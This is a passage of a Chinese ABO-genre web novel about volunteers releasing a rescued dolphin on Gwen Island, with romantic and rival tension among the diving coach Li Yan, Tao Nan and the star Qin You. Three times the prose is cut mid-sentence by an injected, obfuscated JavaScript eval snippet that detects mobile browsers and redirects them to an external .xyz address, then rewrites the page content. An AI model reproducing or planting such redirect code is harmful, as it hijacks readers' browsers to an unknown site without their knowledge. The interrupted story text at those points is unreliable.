“哦,好。”梨砚的声音打断了桃楠的思绪,他点点头,又问,“梨教练,你要喝点冰水吗?我拿给你?” 梨砚正仰头靠在沙发上,两团纸巾塞在鼻孔里,被修长的手指捏着边缘。蓝发凌乱地搭在额前,遮住了大半张脸,只露出紧抿的薄唇。他动了动唇,似乎想说什么,最终只摇了摇头:“不用了。” 见Alpha拒绝,桃楠也只能拿着衣服离开,有些可惜的想:“梨教练怎么就不穿呢?他那张脸穿上多有反差啊……” 船舱外,甜橙橙见桃楠出来,伸手把相机递还给他,随后用略带八卦的眼神示意桌上正疯狂震动的手机:“秦哥都打好几个电话了,你快接吧,我等不及要吃瓜了!!!” 海风卷着咸湿的气息扑在甲板上,桃楠踩在被晒得温热的木质地板上,闻言快步走到遮阳伞下坐下,捞过桌上的手机接通了秦尤的微信视频。 7. 格温岛 “嗨,大明星!”桃楠兴奋的朝屏幕对面的人挥了挥手,顺势把手机举远了些,镜头里立刻撞进一片碧海蓝天,连带着屏幕对面那人半隐在阴影里的侧脸也亮堂了几分。 秦尤正靠在化妆间的真皮沙发里,指尖还夹着支没点燃的烟,另一只手在平板电脑上快速滑动着。 被染成雾粉色的发梢垂在额前,遮住了半只眼,却挡不住下颌线利落的弧度,高挺的鼻梁在侧脸投下一小片阴影,足够看出是个英挺的长相。 听见桃楠的声音,他漫不经心地抬了抬眼,指尖的烟卷转了半圈,镜头跟着晃了晃最后定格在了一张骨相及其优秀的混血脸上。 “行了,”他的声音带着点刚睡醒的沙哑,透过听筒传来时,尾音像被砂纸轻轻磨过,“我现在听见‘嗨’字就头大,你们是没看见我这几天被那群医生围着抽血的样子。” 甜橙橙刚咬了口冰镇西瓜,汁水顺着嘴角往下淌,她忙用手背抹了把,顺势揽住桃楠的脖颈,毛茸茸的脑袋凑到屏幕前问他:“秦哥你真没事啊?网上说你信息素紊乱进医院了,结果我们瓜才吃到一半,热搜就被公司连夜压下去了,搞得跟什么惊天秘闻似的。” 她跟着桃楠去看过秦尤的无数场演唱会,从最初在台下尖叫着举灯牌,到后来私下经常一起吃饭,最后对对方完全没有了追星的感觉,不过后来倒是成了朋友。 “你们就不能先问问我的精神状态?”秦尤挑眉,那张被粉丝戏称“360度无死角”的脸突然凑近屏幕。 他故意把手机镜头怼到鼻孔下方,露出一截线条清晰的人中,找到了第361度的角对着他们,以表示对他们的失望。 甜橙橙翻了个白眼,动作熟练得像排练过八百遍,她无奈地摆摆手:“我早说过脱粉是明智之举,你们非说我审美出了问题。试问哪个顶流会对着粉丝怼鼻孔?我追星是来当理智女友粉的好不好?” 桃楠举着手机笑得肩膀直抖,他歪头看着屏幕里秦尤那副“自毁形象”的样子,补充道:“这要是发网上,粉丝得连夜给他加个‘猎奇向明星’的标签,词条都能想好,#秦尤鼻孔比脸还上镜#。” 两人一唱一和地调侃了几句,秦尤终于败下阵来,把话题拉回了正轨。 “所以说,”甜橙橙瞪大了眼睛凑近屏幕,声音里满是难以置信,“你不是信息素紊乱,是对公司硬塞给你的OmegaCP的花香型信息素过敏!?” 在秦尤解释完后,甜橙橙惊的差点控制不住自己的笑声,“哈哈哈哈这是什么古早霸总文剧情啊!‘总裁对全世界的花香过敏,却唯独对她的气息毫无抵抗力’,秦哥你这是提前进入小说照进现实环节了?” 桃楠举着手机附和道:“感觉我们秦大明星的命定之人八成是个花香味的Omega,并且是他唯一不过敏的。” “等等,这个设定好带感!”甜橙橙突然坐直身子,笑道:“下次我给我家CP写同人文,就按这个路子来!” 秦尤:“…………” 他面无表情地对着镜头,用那双被粉丝吹“含着星辰大海”的眼睛冷冷扫了一圈:“你们俩现在最该做的,是把手机里的小说软件全卸了。” “好了好了,”桃楠朝手机屏幕挥了挥手,“我们要去忙了,不跟你说了,你准备准备迎接惊喜吧,再见。” “秦哥拜拜!”甜橙橙跟着敷衍的摆摆手后,跑去了远处的栏杆旁凑热闹。 还没等对面的秦尤反应过来,桃楠就已经毫不犹豫的挂了视频,跟着甜橙橙去了栏杆边。 大家都围在了那里,不知道在看什么,桃楠穿过人群靠在了栏杆上,朝平静的海面看去,突然,身旁的甜橙橙惊呼了一声,像被什么东西烫到似的蹦了起来。 “桃楠!快看快看!”甜橙橙的声音里裹着雀跃,手指着斜前方的海面。 桃楠顺着她指的方向望去,看见粼粼波光里突然跃起一道银亮的弧线。 那是一条灰色的海豚。 夕阳的暖光像碎钻似的洒在它光滑的皮肤上,勾勒出流畅的背脊曲线,尾鳍在半空划出漂亮的弧度,带着一串晶莹的水珠落回海里,溅起细碎的浪花。 “是海豚!”桃楠忍不住睁大了眼睛。 那只海豚像是在和她们打招呼,没沉下去多久又冒了出来,圆溜溜的脑袋露出水面,黑色的眼睛亮晶晶的,隔着不算太远的距离望着甲板上的一群人。 它似乎一点都不怕生,甚至摆了摆尾鳍,在水里转了个圈,掀起的水花像珍珠雨似的洒在阳光下,闪得人晃眼。 甜橙橙已经掏出手机开始录像,手指激动得有点抖:“天呐它好可爱!你看它是不是在笑啊?”她把手机举得很低,恨不得把镜头直接怼到海豚面前,“早知道带点小鱼干好了。” 海豚像是听懂了她的话,又欢快地跃了一次,这次离船更近了些,能清楚地看见它身上细腻的纹理,和背鳍上缺少的一块。 海风里似乎都带上了点它带来的、属于深海的清冽气息,和之前咸湿的味道混在一起,竟有种格外清爽的感觉。 夕阳正往海平面沉,金红的光把海水染成了融化的蜜糖,连带着甲板上的木缝里都嵌满了暖融融的光斑。 海豚再次跃出水面时,尾鳍扫过的浪花恰好撞上船身,碎成一片亮晶晶的水雾,折射出小小的彩虹。 “嘶……它不会是多莉吧?” 陈辰的声音混着海风飘过来,他不知何时和桃酥并肩靠在了栏杆上,手里还捏着半瓶没喝完的橘子汽水,瓶身上凝着的水珠顺着指缝往下滴。 桃酥把草帽往脑后推了推,露出光洁的额头,笑道:“一年前得那只吗?你眼神还挺好。” “多莉?”桃楠转过身,问他:“这是它的名字吗?你怎么知道的?” “一年前的今天,我救了它和它弟弟。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326480|183252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梨砚的声音从身后传来,带着点海沙般的质感。 桃楠回头时,看见他站在夕阳的光晕里,换了身沙滩裤和白色的老头衫,领口卷着两道边,露出线条清晰的锁骨。 他双臂抱在胸前,肌肉线条在薄衫下若隐隐现,目光落在海里那道银亮的身影上,睫毛被夕阳投下一小片扇形的阴影。 “它是半年前从格温岛,也就是我们现在要去的那座岛的海洋馆治好伤离开的。” 他的指尖无意识地摩挲着胳膊上那道浅淡的疤痕,继续道:“今天是它弟弟尼莫的生日,也是尼莫回归大海的日子。” “梨教练,”桃楠歪头盯着他笑,海风把他额前的浅棕色碎发吹得有些乱,他问:“那多莉是来接它弟弟回家的吗?” 梨砚闻言愣了一下,喉结轻轻动了动。夕阳恰好落在他眼尾,把那点诧异的神色染得柔和了些。 他弯了弯唇角,笑意顺着眼角的纹路漫开,连声音都轻了几分:“嗯,大概吧。” 他固定工作的海岛离这儿不过两小时船程,但格温岛他总隔很久才回去一次,他对两只海豚的性格和习惯并不是特别了解。 栏杆边的志愿者们闻言静了几秒,只有海浪拍打着船身的声音,哗啦,哗啦,像谁在低声哼歌。 甜橙橙举着手机的手停在半空,屏幕里还定格着海豚跃出水面的瞬间,陈辰把橘子汽水举到嘴边,却没喝,只是看着那只海豚在船边游弋。 远处的鸥鸟又飞回来了,留下几声清亮的啼鸣。海豚似乎累了,不再跳跃,只是把脑袋露出水面,黑色的眼睛望着甲板上的人们,又像是望着更远的、被夕阳染成橘红色的格温岛的方向。 海风吹过,带着远处岛上椰林的清香,所有人心里都像被什么东西轻轻撞了一下,暖融融的,又有点软乎乎的酸。 很快,游艇在太阳彻底落山前到达了格温岛,夕阳把最后一抹金红泼在格温岛的轮廓上,远处的热带雨林像被镀了层金边,成片的椰树在暮色里摇晃着羽状叶片。 跳板搭在沙滩上的瞬间,甜橙橙就拽着桃酥跑了下去,赤着的脚丫踩在温热的细沙里,留下一串歪歪扭扭的脚印。 沙滩是渐变的蜜糖色,靠近海水的地方被浪冲刷得紧实,踩上去咯吱作响,往内陆走几步,沙粒就变得松软,没到脚踝时,能感觉到细小的贝壳碎片硌着脚心,痒丝丝的。 “姐,那边好漂亮啊!”甜橙橙拽了拽桃酥的手腕,指着不远处的码头。 几盏复古的煤油灯已经被点亮,玻璃罩里的火苗在风里轻轻摇晃,把挂在木柱上的渔网照得明明灭灭,网眼里还缠着些贝壳和海星,在光线下闪着微光。 码头上站着几个穿花衬衫的老外,其中有一个女人,他们大概就是协会的其他成员了。 梨砚跟在他们身后下了船,老头衫被海风灌得鼓鼓囊囊,他对着其中一个稍微年老一点的人道:阿伯,好久不见。” 8. 回大海 码头上的阿伯笑着拍了拍梨砚的胳膊,用熟练的中文道:“回来了?尼莫在馆里等好久了,刚才还对着池壁转圈呢,估摸着是闻着熟人味儿了。” “这是海洋馆的馆长亚当,潜水教练出身,馆里的野生鱼类的饮食起居都是他在照管。”梨砚简单的和大家介绍了一下。 亚当身边站着个扎脏辫的姑娘,穿了件印着鲸鱼图案的白T恤,正低头给相机换镜头。 梨砚:“这是莉莉安,法国来的海洋生物学家,也是我们协会的成员,专攻海豚声呐研究,尼莫的康复方案就是她定的。” 莉莉安抬头冲众人眨眨眼,对梨砚道:“我刚在你们的船尾拍到多莉了,它的背鳍上有个小缺口,和去年救它时的记录完全吻合,真是个神奇的小家伙。” 她身旁的男人拎着个装小鱼的铁桶自我介绍:“我是是马库斯,负责给海洋馆的动物们准备口粮,尼莫最爱吃我腌的沙丁鱼了。” 马库斯举了举手里的桶,桶里的小鱼尾巴还在扑腾:“知道今天是尼莫离开的日子,我特意多备了两斤,等会儿让它吃个够。 这三个人里,只有莉莉安是Omega,亚当和马库斯都是Alpha。 众人跟着往海洋馆走时,莉莉安自来熟的举着相机屏幕给桃楠看她刚刚拍的照片:“你看这张,多莉刚才一直跟着船尾的浪花,尾鳍划的轨迹和尼莫去年康复训练时一模一样,它们肯定记得对方的信号。” 桃楠:“哇,好厉害!” 甜橙橙跟着凑过去看,指着屏幕里的水纹惊呼:“像不像爱心?” 亚当在前面听到,回头笑道:“这俩小家伙打小就亲,尼莫刚到馆里时不吃东西,多莉隔着隔离池叫了三天三夜,最后硬是把自己的鱼叼过去喂它。” 马库斯把铁桶递给门口的饲养员,附和道:“后来莉莉安发现,它们的声呐频率能对上,就像人类的双胞胎有自己的暗语似的。” 桃楠由衷的感慨:“海洋动物真的好神奇啊。” 协会的其他成员大概是还在处理节目组的事,并没有来,众人跟着往海洋馆走,沙滩尽头的椰林里藏着条石板路,路灯是用漂流木做的,暖黄的光透过藤编灯罩漏下来,在地上拼出细碎的光影。 甜橙橙蹦蹦跳跳地跑在前头,忽然停在一扇珊瑚色的木门前,指着门牌上的“海豚馆”三个字惊呼:“上面有小海豚的涂鸦!和我们工作服上的一样。” 莉莉安:“那是我画的,左边带小缺口的是多莉,右边圆滚滚的是尼莫,很像吧!” 桃楠望着那两只卡通海豚的笑脸,忽然觉得海风里的椰香都甜了几分。 梨砚突然在他身后轻轻“嗯”了一声,像是在回应他刚刚的感慨。 他想,有些羁绊,从来都藏在海浪和星光里,不用特意说,也总能找到彼此。 推门时,清亮的哨声裹着水汽扑面而来。巨大的玻璃墙后,尼莫灰色的脊背划破水面,尾鳍甩起的水花在玻璃上晕开,像谁泼了杯碎钻。 亚当指着玻璃顶端的缺口,“这里连接着外海,等会儿从这儿送它走。” 这是有一面连接着海面的玻璃鱼缸。 “小家伙好漂亮,”时夏有些兴奋道:“它似乎很开心。” 作为兽医,他能或多或少的感受到小动物的情绪。 桃楠和南阳刚凑近,尼莫就猛地甩了甩尾鳍,溅起的水花在玻璃上晕开一片水雾。 南阳:“哎呦我,这小玩意儿劲真大!” “看来它在这里被养得很好,”桃楠指尖摸着雾蒙蒙的玻璃笑,“一点都不怕人呢。 莉莉安看着尼莫疯狂游动,解释道:“尼莫很喜欢热闹。” 时夏闻言皱了皱眉,看着空荡的海豚馆,语气有些担忧的问莉莉安:“可是这里只有它一只海豚,看起来并没有同伴会陪它玩。” “它喜欢欺负其他小鱼。”梨砚走向角落的储物柜,翻出个蓝色网兜,里面的小鱼干透着咸香,“刚来的时候就把池里的热带鱼追得跳缸,只好让它独住。” 他刚撕开包装袋,尼莫就像通了灵似的游过来,鼻尖蹭着玻璃,发出撒娇似的呜呜声。 “别急,”梨砚的指尖在玻璃上轻轻敲了敲,“今天有新朋友来给你过生日。” 尼莫在缸里转了一圈,表达自己开心的情绪,桃楠靠近玻璃,举着小巧的运动相机,小声对镜头说:“这就是我们的主人公,小海豚尼莫!我们今天要给它过生日,然后它就可以回到大海了。” 尼莫像是知道他在介绍自己似的,从梨砚面前游到了桃楠面前叫了两声,连小鱼干都不吃了。 “啧,没出息的家伙。”梨砚无奈的靠在玻璃上看着它和桃楠玩。 桃楠闻言,笑着将镜头朝向地面,礼貌的问:“梨教练,你介意出镜吗?” 梨砚愣了一瞬,随后站直了身体,回他:“没关系,你拍吧。” 桃楠:“谢谢梨教练!” 得到允许后,他将镜头对准梨砚,继续道:“这是我们帅气的梨教练,梨砚,是我们协会的潜水教练,也是他把尼莫从危险里救出来的。” 镜头里,Alpha望着尼莫的侧脸在水光里格外柔和,睫毛上沾着的细水珠像落了片星星。 最后,桃楠实在不知道应该说些什么,便关了相机。 这期先剪一个简单的Vlog好了,今天回去就找他提合作的事! 在桃楠低头倒腾相机的时候,梨砚飞快的摸了一下发烫的耳朵。 啧,没出息的家伙。 另一边,志愿者们七手八脚地拿饲养员带来的气球装饰玻璃缸,在上面围了个圈。 陈辰拧开橘子汽水,橙黄色的液体在纸杯里冒泡泡,他举着杯子对尼莫晃了晃,惹得小家伙高兴的在水里翻起了跟头。 梨砚把小鱼干丢进水里,尼莫精准地接住,尾鳍拍打出的水花溅到他的老头衫上,洇出一小片深色的痕迹。 他低头笑了笑,忽然吹了声长哨,调子像掠过海面的鸥鸣。 远处连接着玻璃缸的海面泛起涟漪,一条背鳍带缺口的海豚游了过来,隔着玻璃和尼莫碰了碰鼻尖,水纹在它们之间织出透明的网。 “原来多莉真的跟来了。”桃楠看着两只海豚隔着一面玻璃在水里追逐,兴奋道:“它们好像在玩捉迷藏。” 梨砚没说话,只是望着水里交叠的影子。 马库斯拎来了铁盘,里面摆着十条肥美的沙丁鱼,鱼身上还沾着晶莹的盐粒。“最后一顿加餐了,小家伙。”他笑着倒进水里,“吃饱了才有力气回家。” 尼莫一口叼住最肥的那条,却没立刻咽下去,而是游到多莉对面,把鱼往玻璃上凑,像是要分给对方。 最后,亚当和饲养员端来用椰壳做的蛋糕,上面插着根海豚形状的小蜡烛,梨砚用打火机小心的点燃了它,火苗在空调风里轻轻摇晃。 众人围着玻璃墙站成圈,甜橙橙起的生日歌跑了调,却像裹了蜜糖,顺着海风飘出老远。 尼莫像是听懂了,忽然跃出水面,叫了一声,在空中划出道银色的弧线,落下时溅起的水花刚好打在蜡烛上,把火苗浇成了星星点点的光。 “尼莫好厉害!既然能自己吹灭蜡烛!”甜橙橙兴奋的拍了拍鱼缸,尼莫游回玻璃前,黑色的眼睛亮晶晶的,像是盛着整片海的星光。 “小家伙智商相当于人类六七岁小孩呢,”莉莉安抹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326481|183252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掉脸上的水珠,笑道:“聪明得很。” 桃楠举着相机绕到梨砚身边,镜头里的他望着水里的尼莫,侧脸的线条在暮色里格外柔和,睫毛上沾着点水光,不知道是浪花还是别的。 “梨教练,”桃楠轻声说,“你看它好像知道要走了,一直在转圈。” 梨砚没回头,指尖在玻璃上轻轻划着:“嗯,它记路,去年带它去外海训练,一次就记住回家的航线了。”话虽如此,但他手里的鱼干却迟迟没丢出去,握着的指节微微泛白。 马库斯递过来一瓶冰镇椰汁,瓶身还凝着水珠:“别舍不得,这小家伙野得很,上个月训练时就敢往深海游,要不是多莉叫它,怕是早跑没影了。” 陈辰叹了口气,坐下拍了拍梨砚的肩膀,“这片海就这么大,以后肯定会有机会再遇到,你一直都很幸运,不是吗?” 梨砚知道陈辰的意思,回头瞪了他一眼,嘴角却带着笑:“闭嘴吧你。” 陈辰挑眉:“嘿,你个不识好歹的玩意儿。” 南阳欠揍的凑过去笑嘻嘻道:“挨前辈骂了吧陈队。” 远处的海面传来阵阵涛声,夜色像块巨大的蓝丝绒,慢慢盖住天空。 玻璃墙顶端的机械开始嗡鸣,连接外海的通道缓缓打开,带着咸味的夜风灌进来,混着远处渔船的马达声。 尼莫突然停在通道口,回头望着梨砚,发出委屈的呜呜声,身体在玻璃上蹭来蹭去。 “去吧,”梨砚终于把最后一把鱼干丢进水里,声音放得很轻,“多莉在外面等你呢。” 他的指尖贴着玻璃,跟着尼莫的影子慢慢移动,“记得常回来看看,马库斯的沙丁鱼管够。” 尼莫游过来蹭了蹭他的指尖投影,突然转向多莉的方向,却又猛地折回来,在梨砚面前转了三圈,那是去年康复训练时,梨砚教它的“再见”信号。 “走啦!小家伙。”甜橙橙挥着手里的气球,声音里带着点不易察觉的哽咽,眼尾悄悄泛起红意。 她吸了吸鼻子,被桃酥一把捞进了怀里,用手掌在她发顶轻轻拍了拍:“好了好了,姐姐抱抱就不难过了。” “哎哎哎!停!”旁边的陈辰急得都没来的及为离开的海豚难过,手忙脚乱地去掰桃酥的胳膊,“怎么还抱上了?AO授受不亲懂不懂?就算第一性别都是女的,也得讲究点分寸吧!” 桃酥没松手,反而故意把甜橙橙往怀里紧了紧,挑眉看向陈辰:“人家小姑娘哭了,我安慰一下怎么了?你不至于吃醋吧?” 陈辰嘴上说着没有,但眼神却忍不住往两个人身上瞟,嘴角悄悄勾起点无奈的笑意。 最后,尼莫终于摆了摆尾鳍,像道灰色闪电,快速冲进通道。外海的浪涛里,多莉立刻游过去,用身体蹭着它的侧腹。 两只海豚并排游了一段,突然同时跃出水面,在空中划出两道银色弧线,尾鳍拍打出的水花在月光里亮闪闪的。 “看!”桃楠突然指向海面,“它们在回头!” 月光下,尼莫和多莉的脑袋朝着海洋馆的方向,像是在道别。 梨砚望着那两道逐渐远去的影子,忽然吹起那支长哨,调子在夜风中打着旋。远处的海豚似乎回应了一声,哨音清越,像颗星星落进了海里。 莉莉安的相机快门响了很多声,她笑着抹眼睛:“明年这个时候,说不定它们会带着同伴回来呢。” 海风吹起梨砚的头发,他望着翻涌的浪花,轻笑道:“如果有缘,我们会再相见。” 这句话得尾音缠在梨砚微微扬起的唇角,里面蕴含的其他情绪也被海风吹散。 可只有他自己知道,那看似豁达的语气里,藏着多少未说出口的牵挂。 9. 共生反应 离开海豚馆时,夜色已经漫过整片沙滩。石板路上的漂流木路灯亮得愈发温柔,把众人的影子拉得很长,混着椰叶的碎影在地上轻轻摇晃。 甜橙橙还在和桃酥碎碎念着尼莫,陈辰跟在后面,手里的橘子汽水瓶早就空了,却还捏着瓶身转来转去,偶尔插句话反驳两句,惹得甜橙橙回头瞪他一眼,倒是把刚才的离愁别绪冲淡了不少。 梨砚走在最后,刚和亚当交代完后续事项,转身就看见桃楠站在不远处朝他挥手,手里还拎着自己之前落在船上的防晒衣。 他愣了一下,直到海风吹起狼尾的发梢,扫过颈侧时,才迈开长腿走过去。 “徐导说这是你的,让我拿给你,”桃楠把衣服递过来,昏黄灯光漫过他微卷的发梢,两个人同时伸手,指尖在半空轻轻碰了一下。 梨砚感觉像被沙滩上最细的那粒沙硌了下,又像被晚风卷来的花瓣扫过,麻酥酥的痒意顺着神经爬上来。 “谢谢,”梨砚快速收回手,把防晒衣搭在肩膀上,朝桃楠笑了一下,眼角的红痣在灯光下若隐若现,“麻烦你了。” 桃楠摇摇头,“不麻烦的,我还想谢谢你刚才愿意出镜呢,我本来还担心你不爱对着镜头,没想到你答应得那么痛快。” 他举了举手里的运动相机,屏幕似乎还停留在梨砚望着尼莫的画面:“这次的VIog发出去,肯定能让更多人看到尼莫的故事,也能让大家更了解你们做的事。” 梨砚闻言扯了扯嘴角:“举手之劳。”顿了顿又补充,“要是剪出来觉得不好,你随时告诉我,虽然尼莫已经回家了,但我可以陪你拍点格温岛的其他特色。” “哪能不好啊!”桃楠眼睛亮了亮,“你刚才站在玻璃前的样子,比纪录片里的专业镜头还自然……” 话还没说完,前方突然传来一阵扩音设备的调试声,夹杂着导演喊“安静”的指令。 “应该是节目组吧?”桃楠循声望去,回头问:“梨教练,你要一起过去看看吗?” 梨砚侧头,看见陈辰靠在远处歪脖子树上晃腿,收回了目光,对桃楠道:“你去吧,我找陈辰还有点事。” “行,”桃楠伸手指了指远处亮着聚光灯的椰林,“那我先过去了,一会儿晚饭见。” 桃楠离开后,梨砚突然大喘了一口气,抬手摸向脖颈后藏在蓝色狼尾发梢下肿胀发烫的腺体。 “哟,不装了?”陈辰走到梨砚面前停下,给他递去一瓶冰水。 梨砚没回话,接过水瓶快速拧开,仰头灌了大半下去。 恰在这时,小路上的夜灯齐刷刷亮了起来,暖白的光线下,陈辰才看清梨砚脸上的绯红已经漫到了脖子,连耳廓都红得像要滴血。 而此刻,已经是桃楠不在他身边,并喝了一瓶冰水后的效果了。 “喂,你还能行吗?”陈辰嗤笑一声,伸手戳了戳他滚烫的脸颊,“你这都忍成煮熟的虾了。” “滚。”梨砚拍开陈辰的手,把手里的空了的水瓶扔给了他,声音带着点不易察觉的哑,“我下午………流鼻血了,是不是和桃楠的信息素有关?” 陈辰挑眉,划开手机翻出前同事发来的报告,慢悠悠道:“小张说信息素共生反应是有可能会流鼻血,但……”他故意顿住,看着梨砚眼底的不耐暗自偷笑。 “但什么?”梨砚往前一步想去抢手机,却被陈辰侧身躲开。 “哎哎哎!急什么?”陈辰举高手机,“流鼻血这种反应,一般得是双方契合度极高才会出现。”他啧啧两声,“而且你们又没什么实质接触,按说不该反应这么大。” 其实信息素共生反应并非疾病,而是进化残留或罕见变异,它在AO情侣中偶有发生。 但一般都会在契合度较高的恩爱情侣中出现,是因为和伴侣有亲密行为后,由于双方信息素浓度和契合度太高而产生的对其他信息素的排斥反应。 这些反应对双方的身体并没有任何伤害,除非严重到了一定地步,但这种情况基本是罕见的,毕竟会有伴侣的帮助。 而且产生反应需要双方都很喜欢对方,就算没有伴侣的帮助,也只会持续24小时。 “你说……会不会是因为你和桃楠的信息素契合度太高了?”陈辰很没依据的说。 高契合度? 听到这个的时候,梨砚几乎是立刻就否定了,他5年没有放出过体内的信息素,也5年没闻到过信息素,不可能会有一个信息素和他有高契合度的omega。 “不会。”梨砚烦躁的捏了捏肩膀上带着桃楠信息素的防晒服,上面残留的桃花味似乎不打算放过他,丝丝缕缕的往发烫的腺体上钻。 其实上面的味道很淡,但因为两个人之间的共生反应,梨砚对桃楠的信息素敏感到了一定地步,幸好他喷了足量的阻隔剂,否则桃楠恐怕也早该察觉他的不对劲了。 “我没带腺体修复剂,你暂时喷点阻隔剂吧。”陈辰说着便从口袋里掏了一支阻隔剂,开始一个劲儿往梨砚身上喷,他甚至还很贴心的买了不带任何味道的。 从腺体嗅觉丧失以后,梨砚就开始用腺体修复剂舒缓压制体内的信息素,如果它一直积压在体内,那梨砚会一直高烧不退,甚至出现更严重的反应。 陈辰拉着他在小路上转了半圈,确保连发梢都喷到了以后,才收起瓶子叮嘱:“兄弟,千万别让桃楠再闻见你的信息素了,不然他也流鼻血怎么办?到时候我老婆非扒了我的皮不可。” 梨砚没说话,路灯照在他褪下绯红的脸上,看不清情绪。过了好一会儿,他才低低“嗯”了一声,跟着陈辰往椰林深处走。 晚风穿过椰叶,沙沙声里,似乎还缠着那缕挥之不去的桃花香。 梨砚望着远处聚光灯下攒动的人影,看见桃楠站在人群里,正和一个粉色头发的男生说话。 那男生侧对着他,发梢在灯光下泛着粉紫色的光泽,身形挺拔,正低头听桃楠讲话,嘴角噙着笑,手里还把玩着一顶白色棒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326482|183252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 球帽。 更扎眼的是,桃楠头上戴着和他手上一样的黑色款,帽檐压得很低,遮住了半张脸,只露出带着笑意的嘴角。 “秦尤?”陈辰的声音在旁边响起,不大不小,刚好飘到那边。 梨砚闻声瞥了陈辰一眼,再抬眸时,漂亮的狐狸眼里已经结了层冰。 原来是他…… 秦尤在看到他的瞬间就皱起了眉,下意识看向桃楠,像是在确认什么。桃楠却浑然不觉,还笑着朝他们挥手,喊了声“陈队。” “陈队,你们认识啊?”桃楠跑过来,帽子随着动作滑到脑后,露出被压得有点乱的发尾。 “哦,他是我表弟。”陈辰装作没看见俩人之间剑拔弩张的氛围,随口解释。 “啊?” 表哥?秦家亲戚里有我不认识的人吗?不能吧?我和秦尤不是光屁股的时候就一起玩儿了吗?他什么时候多了个不信秦的表哥? 陈辰似乎是知道桃楠在想什么,笑嘻嘻的打哈哈,“我是秦家私生子,你一般也没机会接触我,以前不认识我也很正常啊。” 私生子? 桃楠愣了,但很快回过神,没再多问,也不知道此时该说些什么。 “先不说陈哥了,”秦尤打破沉默,恢复了平时的样子,问桃楠:“旁边那位怎么称呼?” “啊?”桃楠闻言,抬头看了眼脸色不太好的梨砚,介绍道:“他是我们协会的潜水教练,梨砚,和陈队也认识的。” 秦尤换上作为公众人物的标准假笑,朝梨砚伸手:“你好,我是秦尤。” 梨砚没动,只是盯着他伸出的手,像在看什么脏东西。空气好似瞬间凝固,连晚风都好像停了。桃楠看看这个又看看那个。 怎么感觉他们两个那里不对劲? 他有些尴尬地想打圆场,却被梨砚突然勾起的笑打断。 “梨砚。”他终于开口,声音淡淡的,却带着说不出的冷意,眼角的红痣在灯光下显得格外妖冶。 “听说秦先生最近在拍海洋公益的综艺?”他顿了顿,目光扫过秦尤染着粉色的发梢,“希望不是作秀。” 秦尤的笑容僵在脸上,捏着手指的力道大了些:“梨教练说笑了,保护海洋是每个人的责任。”他话锋一转,伸手去扶桃楠头上的帽子,“桃楠刚才还说想拍格温岛的夜景,我打算带他去海边……” “他晚上要和协会吃饭。”梨砚打断他,语气平淡却带着不容置疑的强硬。 他冲秦尤微微抬了抬下巴,眼神里的挑衅藏都藏不住:“秦先生要是没事,就先忙吧,我们协会的聚餐,就不叫你了。” 秦尤盯着他看了几秒,忽然笑了,拍了拍桃楠的肩膀:“那我先去忙了,明天再找你玩。”说完,深深看了梨砚一眼,转身走了。 节目组的聚光灯刚好扫过,照亮了梨砚紧绷的下颌线。桃楠这才发现,他握着防晒服的手指关节都泛白了,后颈的蓝色发梢下,似乎有什么在轻轻颤抖。 10. 熟悉 桃楠看看梨砚攥得发白的指节,又瞅瞅秦尤远去的背影,没忍住开口:“你俩……以前认识啊?” 怎么火药味儿这么重? 空气里飘着远处烧烤摊飘来的炭火气,混着海风的咸,把梨砚沉默的瞬间拉得格外长。 他松开手,把防晒衣往肩上紧了紧,布料摩擦的声响在夜里格外清晰。过了会儿才低声道:“不算认识。”完全听不出有其他情绪。 “那刚才……”桃楠还想追问,却被陈辰一把揽住肩膀往人群里带:“哎呀小孩子别管大人的事,走,徐导说今晚加了烤龙虾,去晚了可就没了!” 桃楠被拽着走了两步,回头看时,发现梨砚还站在原地,路灯把他的影子投在沙地上,狼尾发梢垂着,像只收起尖爪的兽。 等梨砚慢悠悠跟过来时,烧烤架已经“滋滋”冒起了白烟。炭火舔着肉串,把油脂烤得迸溅,在锡纸盘上炸出细碎的响。 甜橙橙早拉着桃酥蹲在了摊前,指着烤架嚷嚷:“这个鸡翅我要蜂蜜味的,多刷点酱!” 她举着两串油光锃亮的鱿鱼须跑过来,看见桃楠手里的运动相机,眼睛一亮:“桃儿,快拍快拍!这烤鱿鱼看着就香!回去剪进vlog了,馋死那帮天天催更的粉丝。” 桃楠刚举起相机,一只手就捏着烤虾,毫无预兆的闯入了镜头,那只虾的虾壳被炭火烤得通红,蒜蓉黄油顺着虾尾往下滴,在镜头里拉出亮闪闪的丝。 他抬头正对上梨砚的目光,看见他眼角的红痣在烟火气里晃了晃。 “先吃,”梨砚把龙虾递过来,指尖离他的掌心只有半寸,“凉了虾肉会柴。” 